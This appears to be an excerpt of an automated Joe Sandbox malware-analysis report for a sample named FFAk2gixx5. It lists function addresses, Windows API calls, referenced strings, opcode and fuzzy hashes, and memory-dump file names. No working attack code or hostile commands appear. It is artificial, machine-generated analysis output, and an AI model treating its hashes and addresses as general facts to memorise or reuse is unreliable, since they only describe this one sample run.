String ID: $ASC$DESC$bua$bua
API String ID: 0-1029442847
Opcode ID: 34bca403efcd7bd8f71753b00eb70111327f4102c3790ed97d5dae50dc932df3
Instruction ID: 8ab5de4e3564c360289137fee1b889a4ea914830ed3e88a553d2216b992680de
Opcode Fuzzy Hash: 34bca403efcd7bd8f71753b00eb70111327f4102c3790ed97d5dae50dc932df3
Instruction Fuzzy Hash: 0852E2B4A053498FDB10CFA9C580A8EBBF1BF89304F25856DE899AB351D734E846CF51

Uniqueness

Uniqueness Score: -1.00%

Function 004094A0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction ID: 8ba321113e6e4d0cf3898c04bf9160a1f44f8cb9f34d86efd4b3c4bff5612467
Opcode Fuzzy Hash: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction Fuzzy Hash: AA119074240308AFEB14CF64CC95FAA77B6FB89711F208059FA159B3D0C7B5AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 61E95D7A Relevance: 5.1, APIs: 2, Strings: 1, Instructions: 634COMMON

Download Yara Rule

Strings

bua, xrefs: 61E95E6E

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: bua
API String ID: 0-3993766197
Opcode ID: 52c6be3e544cde4861d3357b588add8e778dedffd4832021fb38687e275be97c
Instruction ID: 89212f946684aa561643b7df03f99292a836ac537f2e11e87534a7b7dd14634b
Opcode Fuzzy Hash: 52c6be3e544cde4861d3357b588add8e778dedffd4832021fb38687e275be97c
Instruction Fuzzy Hash: 80520870E05299CFDB01DFE8C484A8DBBF1BF48314F65886AE854AB355D774E886CB81

Uniqueness

Uniqueness Score: -1.00%

Function 61E69E8F Relevance: 5.1, Strings: 3, Instructions: 1365COMMON

Download Yara Rule

Strings

bua, xrefs: 61E69F31
, xrefs: 61E6B27C
UNION, xrefs: 61E6A36F, 61E6AB2F, 61E6AD4A

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: $UNION$bua
API String ID: 0-1951513331
Opcode ID: 96687e86fc663962112a417b2fbf38ac84069b43ccd5007ce1a3f958b9bf2ad6
Instruction ID: 9efb736ff544b0c2fdcebf589f92ceeca8f8718efffafec2a72c2baed2a884dd
Opcode Fuzzy Hash: 96687e86fc663962112a417b2fbf38ac84069b43ccd5007ce1a3f958b9bf2ad6
Instruction Fuzzy Hash: EAE2E374A442698FDB60CF68C990B9DBBF1BF88304F60C099E898AB355DB35D985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E4E4BF Relevance: 5.0, APIs: 3, Instructions: 1300COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 61E4F618
memmove.MSVCRT ref: 61E4F713
memmove.MSVCRT ref: 61E4F7B5

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 90110b2c01394ca73a3ba71c95a96c7b170426a2501867a4853995bc85f0eb5c
Instruction ID: bc40f1fef1a9170960cc57993c705059dbee377a108b532450c26420989eb83f
Opcode Fuzzy Hash: 90110b2c01394ca73a3ba71c95a96c7b170426a2501867a4853995bc85f0eb5c
Instruction Fuzzy Hash: ACE2F174A046698FCB65CF69D880BD9B7F1BF89314F2481E9D948A7314D738AE85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 61E77452 Relevance: 4.4, Strings: 2, Instructions: 1874COMMON

Download Yara Rule

Strings

ROWID, xrefs: 61E777EF
rows updated, xrefs: 61E78DEC

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: ROWID$rows updated
API String ID: 0-3149524134
Opcode ID: bc21dea3a3e7262ac7dd6dca70761983291c70a0cc262008f68bbd9f6add9b4d
Instruction ID: d39c60c32cc69d7ad3465f9f6cb7242007ae0eab8187012a9ec74863cc1168bc
Opcode Fuzzy Hash: bc21dea3a3e7262ac7dd6dca70761983291c70a0cc262008f68bbd9f6add9b4d
Instruction Fuzzy Hash: 5913E474A04259CFEB20CFA8C484B9DBBF1BF89308F208559D899AB355D774E986CF41

Uniqueness

Uniqueness Score: -1.00%

Function 61E6DDA5 Relevance: 4.1, Strings: 3, Instructions: 351COMMON

Download Yara Rule

Strings

$va, xrefs: 61E741D9
string or blob too big, xrefs: 61E74182
(, xrefs: 61E6E29B

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: $va$($string or blob too big
API String ID: 0-3448955768
Opcode ID: b9a2e2e4c654b18e60725bc55a6a3754bc963e451acf320c2e7420e9f1d3aa01
Instruction ID: b6e0e817358a091974468e7adaedc076c3e46fc0117c532e15c918051c0b76fc
Opcode Fuzzy Hash: b9a2e2e4c654b18e60725bc55a6a3754bc963e451acf320c2e7420e9f1d3aa01
Instruction Fuzzy Hash: 0AF16675D446288BDB68CF19CC803C8B7B5BB59318FA981D9D88867385D774EEC18F81

Uniqueness

Uniqueness Score: -1.00%

Function 61E9F0ED Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 858COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E9F2E4

Strings

, xrefs: 61E9F16F

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-3916222277
Opcode ID: 56a78309e61a133db520c3deda394e941117fb30c327657c0011e11f2ada0679
Instruction ID: bfece18307556e4ef4cbbc35f99f21af59f03d97bd6a6be96c4aa07d47f44be4
Opcode Fuzzy Hash: 56a78309e61a133db520c3deda394e941117fb30c327657c0011e11f2ada0679
Instruction Fuzzy Hash: 9F82D375E04259CFDB04CFA8C580A8DBBF1BF88308F258569E859AB355D778E946CF80

Uniqueness

Uniqueness Score: -1.00%

Function 61E31DAB Relevance: 3.1, Strings: 2, Instructions: 599COMMON

Download Yara Rule

Strings

@, xrefs: 61E3231B
?, xrefs: 61E31DE4

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: ?$@
API String ID: 0-1463999369
Opcode ID: 17282316eccadc5d136356c8655e5051220d6aaf7da56665674151cdb10d9dda
Instruction ID: eb37215bc7a8fd5f0b65b01ac5f6a00cefd0b4980fd33cabf8589fd9f13e8be8
Opcode Fuzzy Hash: 17282316eccadc5d136356c8655e5051220d6aaf7da56665674151cdb10d9dda
Instruction Fuzzy Hash: 11422734E0426A8BDB11CFA9C5807DDBBF1BF99314F248199D894AB391D335E986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 61E5BC4C Relevance: 3.0, Strings: 2, Instructions: 526COMMON

Download Yara Rule

Strings

GROUP BY, xrefs: 61E5BF03
DISTINCT, xrefs: 61E5BF10

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: DISTINCT$GROUP BY
API String ID: 0-3434263116
Opcode ID: 02b098dc5b465e043b2cc5d5a259ff0751bebab7385fc789f92dbe92457b21f0
Instruction ID: 4c896da18e7b6933a4bf18ae273737871ab627c44bad69357c45c5ba8bc331e8
Opcode Fuzzy Hash: 02b098dc5b465e043b2cc5d5a259ff0751bebab7385fc789f92dbe92457b21f0
Instruction Fuzzy Hash: 91429E74A042698FEB60CF28C990B99B7F1AF89304F21C4D9E94DA7351DB35EE818F51

Uniqueness

Uniqueness Score: -1.00%

Function 61E62554 Relevance: 3.0, Strings: 2, Instructions: 459COMMON

Download Yara Rule

Strings

0, xrefs: 61E6283F
BINARY, xrefs: 61E62831, 61E62877, 61E628BA, 61E628D8

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: 0$BINARY
API String ID: 0-1556553403
Opcode ID: dbf5463f1b26696ad097613312d0e8a281b4cdde38a6e2070d2bb0de8395586b
Instruction ID: e60323d610b5e953cfa2bbac53d573cb4ccd773d83c01c1116e4164fd3caed25
Opcode Fuzzy Hash: dbf5463f1b26696ad097613312d0e8a281b4cdde38a6e2070d2bb0de8395586b
Instruction Fuzzy Hash: 5E22E1B4E0425A8FDB04CFA8D480A9DBBF1FF98314F658569E859AB355D734E842CF80

Uniqueness

Uniqueness Score: -1.00%

Function 61E8D0B6 Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

9ua, xrefs: 61E8D1EA
BINARY, xrefs: 61E8D1D0, 61E8D1E5

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: 9ua$BINARY
API String ID: 0-3775120692
Opcode ID: 5d1058f1121b4ac832307e0b4c14ecdaa80b0c74fbff9087e03826d3a53d8ce7
Instruction ID: a257fdc816b75983c87695270593668a71f4eb775f4fb4bb7c1b83965cb32a4b
Opcode Fuzzy Hash: 5d1058f1121b4ac832307e0b4c14ecdaa80b0c74fbff9087e03826d3a53d8ce7
Instruction Fuzzy Hash: ED811978A0461A9FDB41CFA9D58079EBBF1BF88758F21C02AEC58AB354D774D841CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E7A790 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

4, xrefs: 61E7B364

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 69e42c9349b47ab598709cf7bf194c5a9beee1fbfb6073163f528dbfc61e7f72
Instruction ID: 518d6d0113e266a091a0cbf43dd9b6b92f5400263bfdc1a72100ca210d41eac5
Opcode Fuzzy Hash: 69e42c9349b47ab598709cf7bf194c5a9beee1fbfb6073163f528dbfc61e7f72
Instruction Fuzzy Hash: E7C2D274A042598FEB20CFA8C490B9DBBF1BF89308F24C559E855AB390D774E886CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E98FE2 Relevance: 2.2, Strings: 1, Instructions: 993COMMON

Download Yara Rule

Strings

0, xrefs: 61E99C5F

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 48b6196e9fac38c3e88230cedd955c73ebae4f8bcae3e36ccb28a35b721a3cf5
Instruction ID: b9cfdf9aff36692a2be4ad7309719c75a621d287fa98b86d1028b92f8662c608
Opcode Fuzzy Hash: 48b6196e9fac38c3e88230cedd955c73ebae4f8bcae3e36ccb28a35b721a3cf5
Instruction Fuzzy Hash: 83A2F775A04229CFDB25CF68C890B99BBB1BB89304F2584D9D88DA7351DB30EE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 61E9FBF0 Relevance: 1.7, APIs: 1, Instructions: 496COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61EA0137

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: a0a5f5a65be7a1d96a382df5c4d5da69adc69708aff3f06ceb566f81379f8a1b
Instruction ID: 797909e4487367ccd8785a7356e571bcdb88a46cf15c43a51895c5e5f409efd9
Opcode Fuzzy Hash: a0a5f5a65be7a1d96a382df5c4d5da69adc69708aff3f06ceb566f81379f8a1b
Instruction Fuzzy Hash: 8A32EF74A04259CFDB04CFA8C584B8DBBF1BF88318F25C56AE858AB355D774E846CB41

Uniqueness

Uniqueness Score: -1.00%

Function 61E40065 Relevance: 1.6, APIs: 1, Instructions: 349COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4010A

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 297407aa2a866facb9d8f36a3b8f6e5dc4b2f32a1e83795d073d645beab7a89f
Instruction ID: 5f607dce3bb248c7bc7ba639c908390524c363e3b0c88829d9203463054831df
Opcode Fuzzy Hash: 297407aa2a866facb9d8f36a3b8f6e5dc4b2f32a1e83795d073d645beab7a89f
Instruction Fuzzy Hash: D4E12675A04209CFDB04CFA8D49069EBBF2BF98314F29856AEC54EB346D734E951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 61E91DC1 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

'a, xrefs: 61E91FEE

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID: 'a
API String ID: 0-1265788581
Opcode ID: 45409bc5da0ec3905fe811cb6b05d35fe406b1b2dd695f5d56fe59bc80662e70
Instruction ID: 2a1e93e661ff6ac72fb5e1383ae7a1199ccbf3477a44a7f34e58db07055c9281
Opcode Fuzzy Hash: 45409bc5da0ec3905fe811cb6b05d35fe406b1b2dd695f5d56fe59bc80662e70
Instruction Fuzzy Hash: 97C1E47490561A9FDB04DFA9C48069EBBF5BF98314F20C969E894AB304D730E885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00419DB7 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00019D75), ref: 00419DBC

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
